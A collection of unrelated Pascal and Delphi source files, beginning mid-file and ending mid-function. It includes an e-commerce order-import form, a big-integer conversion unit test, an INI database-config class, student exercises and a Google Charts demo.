Counters.Modes[2] := CntModes[OutGroup2.ItemIndex];
// setup frequency
Counters.Values[0] := $FFFF div CntFreq0.Position;
Counters.Values[1] := $FFFF div CntFreq1.Position;
Counters.Values[2] := $FFFF div CntFreq2.Position;
except
end;
end;
end.
|
unit uFrmImport;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls, cxLookAndFeelPainters, cxButtons,
uEplataformaEntidadeClasses, uStringFunctions;
type
TFrmImport = class(TForm)
Image11: TImage;
pnlComple: TPanel;
lblResultado: TLabel;
Image1: TImage;
pbImportacao: TProgressBar;
chkPedido: TCheckBox;
chkCliente: TCheckBox;
PTitle: TPanel;
ShapeImage: TShape;
lblTitulo: TLabel;
ImageClass: TImage;
imgLine: TImage;
mmDescricao: TMemo;
imgExpPO: TImage;
btnImportar: TcxButton;
btnFechar: TcxButton;
procedure btnImportarClick(Sender: TObject);
procedure btnFecharClick(Sender: TObject);
private
procedure CriarCliente(AepCliente: TepCliente);
function GetStatusCompra: String;
function GetCliente(AepCliente: TepCliente): TepCliente;
function GetComissionado: Integer;
function ClienteExiste(var AepCliente: TepCliente): Boolean;
function PedidoExiste(AepCompra: TepCompra): Boolean;
public
function Start: Boolean;
procedure SincronizarCliente;
procedure SincronizarPedido;
end;
var
FrmImport: TFrmImport;
implementation
uses uInvoiceClasses, uDM, uEplataformaSyncClasses, DateUtils, uFrmLog,
DB, ADODB;
{$R *.dfm}
{ TfrmImport }
procedure TFrmImport.SincronizarCliente;
var
i: Integer;
epClienteSync: TepClienteSync;
epClienteLista: TepClienteLista;
begin
epClienteSync := TepClienteSync.Create;
try
epClienteSync.Init(DM.HTTPReqRespCatalog,
DM.ECommerceInfo.FURL,
DM.ECommerceInfo.FUser,
DM.ECommerceInfo.FPW);
TepEntidadeLista(epClienteLista) := epClienteSync.Listar(IncDay(Now, (DM.ImpExpInfo.DiasImportacao*-1)));
for i := 0 to Pred(epClienteLista.Count) do
begin
pbImportacao.Max := epClienteLista.Count;
Application.ProcessMessages;
try
TepCliente(epClienteLista[i]).IDCliente := GetCliente(epClienteLista[i]).IDCliente;
except
on E: Exception do
DM.SaveToLog(TepCliente(epClienteLista[i]).IDCliente, E.Message);
end;
end;
finally
FreeAndNil(epClienteLista);
FreeAndNil(epClienteSync);
end;
end;
procedure TFrmImport.SincronizarPedido;
var
i, j: Integer;
epCompraSync: TepCompraSync;
epCompraLista: TepCompraLista;
Invoice: TInvoice;
InvoiceItem: TInvoiceItem;
InvoiceItemCommission: TInvoiceItemCommission;
InvoicePayment: TInvoicePayment;
InvoiceOtherCost: TInvoiceOtherCost;
begin
epCompraSync := TepCompraSync.Create;
try
epCompraSync.Init(DM.HTTPReqRespCatalog,
DM.ECommerceInfo.FURL,
DM.ECommerceInfo.FUser,
DM.ECommerceInfo.FPW);
lblResultado.Caption := 'Sincronizando Pedidos...';
pbImportacao.Position := 0;
epCompraSync.StatusCompra := GetStatusCompra;
TepEntidadeLista(epCompraLista) := epCompraSync.Listar(IncDay(Now, (DM.ImpExpInfo.DiasImportacao*-1)));
for i := 0 to Pred(epCompraLista.Count) do
begin
pbImportacao.Max := epCompraLista.Count;
Application.ProcessMessages;
try
if not PedidoExiste(epCompraLista[i]) then
begin
TepCompra(epCompraLista[i]).Cliente.IDCliente := GetCliente(TepCompra(epCompraLista[i]).Cliente).IDCliente;
Invoice := TInvoice.Create(DM.ADOCon);
Invoice.IDStore := DM.MRInfo.FIDStore;
Invoice.IDCustomer := TepCompra(epCompraLista[i]).Cliente.IDCliente;
Invoice.IDMedia := DM.MRInfo.FIDMedia;
Invoice.IDDeliverType := 1;
Invoice.IDOtherComission := 0;
Invoice.IDTouristGroup := 0;
Invoice.IsLayaway := True;
Invoice.FirstName := TepCompra(epCompraLista[i]).Cliente.Nome;
Invoice.LastName := TepCompra(epCompraLista[i]).Cliente.SobreNome;
Invoice.Zip := TepCompra(epCompraLista[i]).Cliente.Cep;
Invoice.PreSaleDate := TepCompra(epCompraLista[i]).Data;
Invoice.InvoiceDate := TepCompra(epCompraLista[i]).Data;
Invoice.COO := 'EC-' + IntToStr(TepCompra(epCompraLista[i]).IDCompra);
Invoice.SaleCode := 'EC-' + IntToStr(TepCompra(epCompraLista[i]).IDCompra);
Invoice.Note := '';
Invoice.ECFSerial := '';
Invoice.PuppyTracker := False;
Invoice.TaxExempt := False;
// Adiciona o frete que será acumulado na nota, com o valor de frete de cada item abaixo
InvoiceOtherCost := TInvoiceOtherCost.Create(DM.ADOCon);
InvoiceOtherCost.IDCostType := DM.MRInfo.FIDFreight;
// Adiciona o item
for j := 0 to Pred(TepEntrega(TepCompra(epCompraLista[i]).EntregaLista[0]).CompraEntregaSkuLista.Count) do
begin
InvoiceItem := TInvoiceItem.Create(DM.ADOCon);
InvoiceItemCommission := TInvoiceItemCommission.Create(DM.ADOCon);
InvoiceItem.IDCustomer := TepCompra(epCompraLista[i]).Cliente.IDCliente;
InvoiceItem.IDModel := TepCompraEntregaSku(TepEntrega(TepCompra(epCompraLista[i]).EntregaLista[0]).CompraEntregaSkuLista[j]).IDSku;
InvoiceItem.IDStore := DM.MRInfo.FIDInventoryStore;
InvoiceItem.IDUser := DM.MRInfo.FIDUser;
InvoiceItem.IDComission := 0;
InvoiceItem.IDDepartment := 0;
InvoiceItem.Qty := 1;
InvoiceItem.Discount := TepCompraEntregaSku(TepEntrega(TepCompra(epCompraLista[i]).EntregaLista[0]).CompraEntregaSkuLista[j]).ValorVendaUnidadeSemDesconto - TepCompraEntregaSku(TepEntrega(TepCompra(epCompraLista[i]).EntregaLista[0]).CompraEntregaSkuLista[j]).ValorVendaUnidade;
InvoiceItem.SalePrice := TepCompraEntregaSku(TepEntrega(TepCompra(epCompraLista[i]).EntregaLista[0]).CompraEntregaSkuLista[j]).ValorVendaUnidadeSemDesconto;
InvoiceItem.CostPrice := TepCompraEntregaSku(TepEntrega(TepCompra(epCompraLista[i]).EntregaLista[0]).CompraEntregaSkuLista[j]).ValorVendaUnidadeSemDesconto;
InvoiceItem.MovDate := TepCompra(epCompraLista[i]).Data;
InvoiceItem.IsPromo := False;
InvoiceItemCommission.IDCommission := GetComissionado;
InvoiceItemCommission.CommissionPercent := 100;
InvoiceItem.CommssionList.Add(InvoiceItemCommission);
Invoice.ItemList.Add(InvoiceItem);
// Acumula frete no pedido
InvoiceOtherCost.Amount := InvoiceOtherCost.Amount + TepCompraEntregaSku(TepEntrega(TepCompra(epCompraLista[i]).EntregaLista[0]).CompraEntregaSkuLista[j]).ValorFreteComDesconto;
end;
Invoice.OtherCostList.Add(InvoiceOtherCost);
// Adiciona pagamento
for j := 0 to Pred(TepCompra(epCompraLista[i]).FormaPagamentoLista.Count) do
begin
InvoicePayment := TInvoicePayment.Create(DM.ADOCon);
InvoicePayment.IDStore := DM.MRInfo.FIDStore;
InvoicePayment.IDUser := DM.MRInfo.FIDUser;
InvoicePayment.IDCustomer := TepCompra(epCompraLista[i]).Cliente.IDCliente;
InvoicePayment.IDInvoice := 0;
InvoicePayment.IDMeioPag := 0;
InvoicePayment.IDCashRegMov := 0;
InvoicePayment.IDBankCheck := 0;
InvoicePayment.IDPreSale := 0;
InvoicePayment.IsPredatado := False;
InvoicePayment.PaymentValue := TepFormaPagamento(TepCompra(epCompraLista[i]).FormaPagamentoLista[j]).ValorComJuros;
InvoicePayment.PaymentPlace := 0;
InvoicePayment.CustomerPhone := TepCompra(epCompraLista[i]).Cliente.TelefoneResidencial;
InvoicePayment.Parcela := '';
InvoicePayment.Authorization := '';
InvoicePayment.OBS := '';
InvoicePayment.CheckNumber := '';
InvoicePayment.PreSaleDate := TepCompra(epCompraLista[i]).Data;
InvoicePayment.ExpirationDate := TepCompra(epCompraLista[i]).Data;
InvoicePayment.MeioPag := TepFormaPagamento(TepCompra(epCompraLista[i]).FormaPagamentoLista[j]).NomeFormaPagamento;
InvoicePayment.CustomerDocument := TepCompra(epCompraLista[i]).Cliente.CpfCnpj;
if TepCompra(epCompraLista[i]).Cliente.FlagPj then
InvoicePayment.CustomerName := TepCompra(epCompraLista[i]).Cliente.RazaoSocial
else
InvoicePayment.CustomerName := TepCompra(epCompraLista[i]).Cliente.Nome;
Invoice.PaymentList.Add(InvoicePayment);
end;
if not Invoice.CreateInvoice then
raise Exception.Create('');
end;
except
on E: Exception do
DM.SaveToLog(TepCompra(epCompraLista[i]).IDCompra, E.Message);
end;
end;
finally
FreeAndNil(epCompraLista);
FreeAndNil(epCompraSync);
end;
end;
function TFrmImport.Start: Boolean;
begin
DM.OpenConnection;
ShowModal;
DM.CloseConnection;
Result := True;
end;
procedure TFrmImport.btnImportarClick(Sender: TObject);
var
bResult : Boolean;
begin
if chkPedido.Checked or chkCliente.Checked then
try
DM.AppendLog('Importação.');
Cursor := crHourGlass;
lblResultado.Caption := '';
lblResultado.Visible := True;
pbImportacao.Visible := True;
try
if chkCliente.Checked then
SincronizarCliente;
if chkPedido.Checked then
SincronizarPedido;
bResult := True;
except
on E: Exception do
begin
bResult := False;
DM.PostLog('Erro Importação: ' + E.Message);
DM.SendEmailLogText(DM.ECommerceInfo.FURL, 'Erro Importação', '');
end;
end;
finally
Cursor := crDefault;
lblResultado.Visible := False;
pbImportacao.Visible := False;
if bResult then
begin
DM.PostLog('Importação.');
MessageDlg('Importação concluída com sucesso!', mtConfirmation, [mbOK], 0);
end;
end
else
ShowMessage('Nenhuma opção foi marcada!');
end;
procedure TFrmImport.btnFecharClick(Sender: TObject);
begin
Close;
end;
function TFrmImport.GetStatusCompra: String;
begin
case DM.ECommerceInfo.FStatusPedido of
0: Result := 'ACR'; //Aguardando Análise de Fraude
1: Result := 'AES'; //Aguardando Estoque Físico
2: Result := 'AMC'; //Analise Manual de Fraude
3: Result := 'CAN'; //Cancelado
4: Result := '_CANM'; //Cancelado Manualmente
5: Result := 'CAP'; //Crédito Aprovado
6: Result := 'ETR'; //Entregue Transportadora
7: Result := 'AAP'; //Enviado Pagamento
8: Result := 'PNA'; //Pagamento não Aprovado
9: Result := 'ENT'; //Pedido Entregue com Sucesso
10: Result := '_NEAS'; //Pendente
11: Result := 'REC'; //Rejeitado no Fraude (*)
12: Result := 'RIE'; //Recebimento de Insucesso de Entrega
end;
end;
function TFrmImport.GetCliente(AepCliente: TepCliente): TepCliente;
begin
Result := AepCliente;
if not ClienteExiste(Result) then
CriarCliente(Result);
end;
function TFrmImport.ClienteExiste(var AepCliente: TepCliente): Boolean;
begin
with DM.quHasCustomer do
begin
if Active then
Close;
SQL.Text := 'SELECT ' +
' P.IDPessoa ' +
'FROM ' +
' Pessoa P (NOLOCK) ' +
' JOIN TipoPessoa TP (NOLOCK) ON (P.IDTipoPessoa = TP.IDTipoPessoa) ' +
'WHERE ' +
' TP.Path LIKE ' + QuotedStr('.001%');
if AepCliente.FlagPj then
SQL.Text := SQL.Text + ' AND REPLACE(REPLACE(REPLACE(P.InscEstadual, '+QuotedStr('.')+', '+QuotedStr('')+'), '+QuotedStr('-')+', '+QuotedStr('')+'), '+QuotedStr('/')+', '+QuotedStr('')+') = ' + QuotedStr(StringReplace(StringReplace(StringReplace(AepCliente.CpfCnpj, '.', '', [rfReplaceAll]), '-', '', [rfReplaceAll]), '/', '', [rfReplaceAll]))
else
SQL.Text := SQL.Text + ' AND REPLACE(REPLACE(REPLACE(P.CPF, '+QuotedStr('.')+', '+QuotedStr('')+'), '+QuotedStr('-')+', '+QuotedStr('')+'), '+QuotedStr('/')+', '+QuotedStr('')+') = ' + QuotedStr(StringReplace(StringReplace(StringReplace(AepCliente.CpfCnpj, '.', '', [rfReplaceAll]), '-', '', [rfReplaceAll]), '/', '', [rfReplaceAll]));
Open;
Result := RecordCount > 0;
if Result then
AepCliente.IDCliente := FieldByName('IDPessoa').AsInteger;
Close;
end;
end;
function TFrmImport.PedidoExiste(AepCompra: TepCompra): Boolean;
begin
with DM.quHasSale do
begin
if Active then
Close;
Parameters.ParamByName('SaleCode').Value := 'EC-' + IntToStr(AepCompra.IDCompra);
Open;
Result := RecordCount > 0;
Close;
end;
end;
procedure TFrmImport.CriarCliente(AepCliente: TepCliente);
var
iIDCliente: Integer;
begin
with DM.quInsertCustomer do
begin
if Active then
Close;
iIDCliente := DM.GetNewID('Pessoa.IDPessoa');
Parameters.ParamByName('IDPessoa').Value := iIDCliente;
Parameters.ParamByName('IDTipoPessoa').Value := DM.MRInfo.FIDPersonType;
Parameters.ParamByName('IDStore').Value := DM.MRInfo.FIDStore;
Parameters.ParamByName('IDUser').Value := DM.MRInfo.FIDUser;
Parameters.ParamByName('IDEstado').Value := AepCliente.Estado;
Parameters.ParamByName('NomeJuridico').Value := AepCliente.RazaoSocial;
Parameters.ParamByName('Endereco').Value := AepCliente.Rua;
Parameters.ParamByName('Cidade').Value := AepCliente.Municipio;
Parameters.ParamByName('CEP').Value := AepCliente.Cep;
Parameters.ParamByName('Pais').Value := AepCliente.Pais;
Parameters.ParamByName('Telefone').Value := AepCliente.TelefoneResidencial;
Parameters.ParamByName('Cellular').Value := AepCliente.TelefoneCelular;
Parameters.ParamByName('Fax').Value := AepCliente.TelefoneComercial;
Parameters.ParamByName('Email').Value := AepCliente.Email;
Parameters.ParamByName('OBS').Value := 'IMPORTADO DO E-PLATAFORMA';
Parameters.ParamByName('Juridico').Value := AepCliente.FlagPj;
Parameters.ParamByName('Nascimento').Value := AepCliente.DataNascimento;
Parameters.ParamByName('HomePage').Value := AepCliente.Site;
Parameters.ParamByName('Bairro').Value := AepCliente.Bairro;
Parameters.ParamByName('Code').Value := AepCliente.IDCliente;
Parameters.ParamByName('Complemento').Value := AepCliente.Complemento;
if AepCliente.Numero <> '' then
Parameters.ParamByName('ComplementoNum').Value := StrToInt(AepCliente.Numero);
if AepCliente.FlagPj then
begin
Parameters.ParamByName('ShortName').Value := AepCliente.NomeFantasia;
Parameters.ParamByName('Pessoa').Value := AepCliente.RazaoSocial;
Parameters.ParamByName('CGC').Value := ReturnNumber(AepCliente.CpfCnpj);
Parameters.ParamByName('InscEstadual').Value := AepCliente.InscricaoEstadual;
end
else
begin
Parameters.ParamByName('ShortName').Value := AepCliente.Apelido;
Parameters.ParamByName('Pessoa').Value := AepCliente.Nome+' '+AepCliente.SobreNome;
Parameters.ParamByName('PessoaFirstName').Value := AepCliente.Nome;
Parameters.ParamByName('PessoaLastName').Value := AepCliente.SobreNome;
Parameters.ParamByName('CPF').Value := ReturnNumber(AepCliente.CpfCnpj);
end;
AepCliente.IDCliente := iIDCliente;
ExecSQL;
end;
end;
function TFrmImport.GetComissionado: Integer;
begin
with DM.quCommission do
begin
if Active then
Close;
Parameters.ParamByName('IDUser').Value := DM.MRInfo.FIDUser;
Open;
Result := FieldByName('ComissionID').AsInteger;
Close;
end;
end;
end.
|
procedure perest(head,tail:tstr); //Теперь определяй tail, только как переменную
begin
if length(tail)=6 then //Добавляй условие: 1+2+3=4+5+6: про StrToInt найди в справке в разделе Системные процедуры,
print(head) //главе Строки (как-то так). Она переводит строку в число (если строка состоит из цифр, конечно.
else //Да, и подумай про условие выхода из цикла: там head или tail должен быть?
begin
for i:=1 to length(tail) do
begin
newhead:=head+copy(tail,i,1);
newtail:=tail;
delete(newtail,i,1);
perest(newhead,newtail);
end;
end;
end. |
{Dada una matriz A de NxM elementos enteros, se desea generar un arreglo lineal B con los
elementos de la matriz A que cumplan:
A[fila, columna] <= 0 para fila impar y columna impar ó
A[fila, columna] > 0 para fila par y columna par
1 8 -6 -7
A = 4 6 3 2
0 -5 9 13
B= -6 6 2 0 }
Program Eje3;
Type
TM = array[1..50,1..50] of integer;
TV = array[1..50] of integer;
Procedure LeerMatriz(Var Mat:TM; Var N,M:byte);
Var
i,j:byte;
begin
write('Ingrese la cantidad de filas: ');readln(N);
write('Ingrese la cantidad de columnas: ');readln(M);
For i:= 1 to N do
For j:= 1 to M do
begin
write('Ingrese un numero: ');readln(Mat[i,j]);
end;
end;
Procedure ImprimeMatriz(Mat:TM; N,M:byte);
Var
i,j:byte;
begin
For i:= 1 to N do
begin
For j:= 1 to M do
write(Mat[i,j]:3);
writeln;
end;
end;
Procedure GenerarArray(Mat:TM; N,M:byte; Var B:TV; Var L:byte);
Var
i,j:byte;
begin
L:= 0;
For i:= 1 to N do
For j:= 1 to M do
begin
If (i MOD 2 = 0) and (j MOD 2 = 0) then
begin
If (Mat[i,j] > 0) then
begin
L:= L + 1;
B[L]:= Mat[i,j];
end;
end
Else
If (i MOD 2 <> 0) and (j MOD 2 <> 0) then
begin
If (Mat[i,j] <= 0) then
begin
L:= L + 1;
B[L]:= Mat[i,j];
end;
end;
end;
end;
Procedure ImprimeVector(B:TV; L:byte);
Var
i:byte;
begin
For i:= 1 to L do
write(B[i]:3);
writeln;
end;
Var
Mat:TM;
B:TV;
N,M,L:byte;
Begin
LeerMatriz(Mat,N,M);
GenerarArray(Mat,N,M,B,L);
writeln('Matriz original');
ImprimeMatriz(Mat,N,M);
writeln;
writeln('Vector B');
ImprimeVector(B,L);
end.
|
unit uDemoInterfaces;
interface
uses
uInterfaces;
type
IMyViewModel1 = interface(IViewModel)
['{9C9E27CC-A468-4D4A-A698-3B00A0BF8847}']
function Hello1: String;
end;
IMyViewModel2 = interface(IViewModel)
['{A199336D-D436-4C3B-9755-5B6423F264FE}']
function Hello2: String;
end;
IMyViewModel3 = interface(IViewModel)
['{BDF3C483-9B80-4E32-95E2-81A6687B084E}']
function GetVM_Tipo1: IMyViewModel1;
function GetVM_Tipo2: IMyViewModel2;
procedure SetVM_Tipo1(AValue: IMyViewModel1);
procedure SetVM_Tipo2(AValue: IMyViewModel2);
function Hello: String;
property VM_Tipo1: IMyViewModel1 read GetVM_Tipo1 write SetVM_Tipo1;
property VM_Tipo2: IMyViewModel2 read GetVM_Tipo2 write SetVM_Tipo2;
end;
implementation
end.
|
unit ExplicitConvertOpTest;
{$mode objfpc}{$H+}
interface
uses
fpcunit,
testregistry,
Math,
SysUtils,
uIntXLibTypes,
uIntX;
type
{ TTestExplicitConvertOp }
TTestExplicitConvertOp = class(TTestCase)
published
procedure ConvertToInteger();
procedure ConvertToUInt32();
procedure ConvertToInt64();
procedure ConvertToUInt64();
procedure ConvertToDouble();
procedure ConvertToWord();
procedure CallConvertNullToInteger();
procedure CallConvertNullToUInt32();
procedure CallConvertNullToInt64();
procedure CallConvertNullToUInt64();
procedure CallConvertNullToWord();
procedure CallConvertNullToDouble();
private
procedure ConvertNullToInteger();
procedure ConvertNullToUInt32();
procedure ConvertNullToInt64();
procedure ConvertNullToUInt64();
procedure ConvertNullToWord();
procedure ConvertNullToDouble();
end;
implementation
procedure TTestExplicitConvertOp.ConvertToInteger();
var
temp: TIntXLibUInt32Array;
n: integer;
IntX: TIntX;
un: UInt32;
begin
n := 1234567890;
IntX := n;
AssertEquals(integer(IntX), n);
n := -n;
IntX := n;
AssertEquals(integer(IntX), n);
n := 0;
IntX := n;
AssertEquals(integer(IntX), n);
n := 1234567890;
un := UInt32(n);
SetLength(temp, 3);
temp[0] := un;
temp[1] := un;
temp[2] := un;
IntX := TIntX.Create(temp, False);
AssertEquals(integer(IntX), n);
IntX := TIntX.Create(temp, True);
AssertEquals(integer(IntX), -n);
end;
procedure TTestExplicitConvertOp.ConvertToUInt32();
var
temp: TIntXLibUInt32Array;
IntX: TIntX;
n: UInt32;
begin
n := 1234567890;
IntX := n;
AssertEquals(UInt32(IntX), n);
n := 0;
IntX := n;
AssertEquals(UInt32(IntX), n);
n := 1234567890;
SetLength(temp, 3);
temp[0] := n;
temp[1] := n;
temp[2] := n;
IntX := TIntX.Create(temp, False);
AssertEquals(UInt32(IntX), n);
end;
procedure TTestExplicitConvertOp.ConvertToInt64();
var
temp: TIntXLibUInt32Array;
IntX: TIntX;
n: int64;
un: UInt32;
ni: integer;
begin
n := 1234567890123456789;
IntX := n;
AssertEquals(int64(IntX), n);
n := -n;
IntX := n;
AssertEquals(int64(IntX), n);
n := 0;
IntX := n;
AssertEquals(int64(IntX), n);
un := 1234567890;
n := int64((un or UInt64(un) shl 32));
SetLength(temp, 5);
temp[0] := un;
temp[1] := un;
temp[2] := un;
temp[3] := un;
temp[4] := un;
IntX := TIntX.Create(temp, False);
AssertEquals(int64(IntX), n);
IntX := TIntX.Create(temp, True);
AssertEquals(int64(IntX), -n);
ni := 1234567890;
n := ni;
IntX := ni;
AssertEquals(int64(IntX), n);
end;
procedure TTestExplicitConvertOp.ConvertToUInt64();
var
temp: TIntXLibUInt32Array;
IntX: TIntX;
n: UInt64;
un: UInt32;
begin
n := 1234567890123456789;
IntX := n;
AssertTrue(n = UInt64(IntX));
n := 0;
IntX := n;
AssertTrue(n = UInt64(IntX));
un := 1234567890;
n := un or UInt64(un) shl 32;
SetLength(temp, 5);
temp[0] := un;
temp[1] := un;
temp[2] := un;
temp[3] := un;
temp[4] := un;
IntX := TIntX.Create(temp, False);
AssertTrue(n = UInt64(IntX));
n := un;
IntX := un;
AssertTrue(n = UInt64(IntX));
end;
procedure TTestExplicitConvertOp.ConvertToDouble;
var
IntX: TIntX;
d: double;
begin
d := 1.7976931348623157E+308;
IntX := TIntX.Create(d);
AssertEquals
('17976931348623157081452742373170435679807056752584499659891747680315726078002853876058955863276687817154045895351438246423432132688946418276846754670353751' + '6986049910576551282076245490090389328944075868508455133942304583236903222948165808559332123348274797826204144723168738177180919299881250404026184124858368',
IntX.ToString());
d := double(IntX);
AssertEquals('1.79769313486232E308', FloatToStr(d));
d := -1.7976931348623157E+308;
IntX := TIntX.Create(d);
AssertEquals
('-17976931348623157081452742373170435679807056752584499659891747680315726078002853876058955863276687817154045895351438246423432132688946418276846754670353751' + '6986049910576551282076245490090389328944075868508455133942304583236903222948165808559332123348274797826204144723168738177180919299881250404026184124858368',
IntX.ToString());
d := double(IntX);
AssertEquals('-1.79769313486232E308', FloatToStr(d));
d := 1.7976931348623157E+308;
IntX := TIntX.Create(d) + TIntX.Create(d);
d := double(IntX);
AssertTrue(d = Infinity);
d := -1.7976931348623157E+308;
IntX := TIntX.Create(d) + TIntX.Create(d);
d := double(IntX);
AssertTrue(d = NegInfinity);
IntX := TIntX.Create(0);
d := double(IntX);
AssertTrue(d = 0);
d := 9007199254740993;
IntX := TIntX.Create(d);
d := double(IntX);
AssertTrue(d = 9007199254740992);
end;
procedure TTestExplicitConvertOp.ConvertToWord();
var
n: word;
IntX: TIntX;
begin
n := 12345;
IntX := n;
AssertEquals(n, word(IntX));
n := 0;
IntX := n;
AssertEquals(n, word(IntX));
end;
procedure TTestExplicitConvertOp.ConvertNullToInteger();
var
{%H-}LVariable: integer;
begin
LVariable := integer(TIntX(Default(TIntX)));
end;
procedure TTestExplicitConvertOp.CallConvertNullToInteger();
var
TempMethod: TRunMethod;
begin
TempMethod := @ConvertNullToInteger;
AssertException(EArgumentNilException, TempMethod);
end;
procedure TTestExplicitConvertOp.ConvertNullToUInt32();
var
{%H-}LVariable: UInt32;
begin
LVariable := UInt32(TIntX(Default(TIntX)));
end;
procedure TTestExplicitConvertOp.CallConvertNullToUInt32();
var
TempMethod: TRunMethod;
begin
TempMethod := @ConvertNullToUInt32;
AssertException(EArgumentNilException, TempMethod);
end;
procedure TTestExplicitConvertOp.ConvertNullToInt64();
var
{%H-}LVariable: int64;
begin
LVariable := int64(TIntX(Default(TIntX)));
end;
procedure TTestExplicitConvertOp.CallConvertNullToInt64();
var
TempMethod: TRunMethod;
begin
TempMethod := @ConvertNullToInt64;
AssertException(EArgumentNilException, TempMethod);
end;
procedure TTestExplicitConvertOp.ConvertNullToUInt64();
var
{%H-}LVariable: UInt64;
begin
LVariable := UInt64(TIntX(Default(TIntX)));
end;
procedure TTestExplicitConvertOp.CallConvertNullToUInt64();
var
TempMethod: TRunMethod;
begin
TempMethod := @ConvertNullToUInt64;
AssertException(EArgumentNilException, TempMethod);
end;
procedure TTestExplicitConvertOp.ConvertNullToWord();
var
{%H-}LVariable: word;
begin
LVariable := word(TIntX(Default(TIntX)));
end;
procedure TTestExplicitConvertOp.CallConvertNullToWord();
var
TempMethod: TRunMethod;
begin
TempMethod := @ConvertNullToWord;
AssertException(EArgumentNilException, TempMethod);
end;
procedure TTestExplicitConvertOp.ConvertNullToDouble();
var
{%H-}LVariable: double;
begin
LVariable := double(TIntX(Default(TIntX)));
end;
procedure TTestExplicitConvertOp.CallConvertNullToDouble();
var
TempMethod: TRunMethod;
begin
TempMethod := @ConvertNullToDouble;
AssertException(EArgumentNilException, TempMethod);
end;
initialization
RegisterTest(TTestExplicitConvertOp);
end.
|
unit uClassWorkIni;
interface
uses IniFiles;
type
TBaseWorkIni = class
private
ArqIni: TIniFile;
Fpath: string;
Fusername: string;
Fpassword: string;
FdriverName: string;
pathIni : String;
procedure Setpath(const Value: string);
procedure Setusername(const Value: string);
procedure Setpassword(const Value: string);
procedure SetdriverName(const Value: string);
public
constructor create(path : string='');
property path : string read Fpath write Setpath;
property driverName : string read FdriverName write SetdriverName;
property username : string read Fusername write Setusername;
property password : string read Fpassword write Setpassword;
end;
implementation
uses
System.SysUtils;
{ TBaseWorkIni }
constructor TBaseWorkIni.create(path: string);
procedure createDefault;
begin
ArqIni.WriteString('DATABASE', 'Path', 'E:\projetos\delphi\basePOO\base\base.fdb');
ArqIni.WriteString('DATABASE', 'DriverName', 'Firebird');
ArqIni.WriteString('DATABASE', 'Username', 'SYSDBA');
ArqIni.WriteString('DATABASE', 'Password', 'masterkey');
end;
begin
pathIni := ExtractFileDir(GetCurrentDir) + '\conf.ini';
ArqIni := TIniFile.Create(pathIni);
if not FileExists(pathIni) then
createDefault;
Setpath(ArqIni.ReadString('DATABASE','Path','E:\projetos\delphi\basePOO\base\base.fdb'));
Setusername(ArqIni.ReadString('DATABASE', 'Username', 'SYSDBA'));
Setpassword(ArqIni.ReadString('DATABASE', 'Password', 'masterkey'));
SetdriverName(ArqIni.ReadString('DATABASE', 'DriverName', 'Firebird'));
end;
procedure TBaseWorkIni.SetdriverName(const Value: string);
begin
FdriverName := Value;
end;
procedure TBaseWorkIni.Setpassword(const Value: string);
begin
Fpassword := Value;
end;
procedure TBaseWorkIni.Setpath(const Value: string);
begin
Fpath := Value;
end;
procedure TBaseWorkIni.Setusername(const Value: string);
begin
Fusername := Value;
end;
end.
|
unit Demo.Overview;
interface
uses
System.Classes, System.SysUtils, System.Variants, Demo.BaseFrame, cfs.GCharts;
type
TDemo_Overview = class(TDemoBaseFrame)
public
procedure GenerateChart; override;
end;
implementation
uses
System.DateUtils;
function GetAreaChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_AREA_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Year'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Sales'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Expenses')
]);
Result.Data.AddRow(['2013', 1000, 400]);
Result.Data.AddRow(['2014', 1170, 460]);
Result.Data.AddRow(['2015', 660, 1120]);
Result.Data.AddRow(['2016', 1030, 540]);
// Options
Result.Options.ChartArea('width', '50%');
end;
function GetBarChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_BAR_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'City'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '2010 Population'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '2000 Population')
]);
Result.Data.AddRow(['New York City, NY', 8175000, 8008000]);
Result.Data.AddRow(['Los Angeles, CA', 3792000, 3694000]);
Result.Data.AddRow(['Chicago, IL', 2695000, 2896000]);
Result.Data.AddRow(['Houston, TX', 2099000, 1953000]);
Result.Data.AddRow(['Philadelphia, PA', 1526000, 1517000]);
// Options
Result.Options.ChartArea('width', '50%');
Result.Options.hAxis('minValue', 0);
end;
function GetBubbleChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_BUBBLE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'ID'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'X'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Y'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Temperature')
]);
Result.Data.AddRow(['', 80, 167, 120]);
Result.Data.AddRow(['', 79, 136, 130]);
Result.Data.AddRow(['', 78, 184, 50]);
Result.Data.AddRow(['', 72, 278, 230]);
Result.Data.AddRow(['', 81, 200, 210]);
Result.Data.AddRow(['', 72, 170, 100]);
Result.Data.AddRow(['', 68, 477, 80]);
// Options
Result.Options.ColorAxis('colors', TcfsGChartOptions.ArrayOfStringToJS(['yellow', 'red']));
end;
function GetCalendarChart: IcfsGChartProducer;
var
M: Integer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_CALENDAR_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtDate, 'Date'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Won/Loss')
]);
for M := 3 to 9 do
begin
Result.Data.AddRow([ EncodeDate(2021, M, 13), 37032 ]);
Result.Data.AddRow([ EncodeDate(2021, M, 14), 38024 ]);
Result.Data.AddRow([ EncodeDate(2021, M, 15), 38024 ]);
Result.Data.AddRow([ EncodeDate(2021, M, 16), 38108 ]);
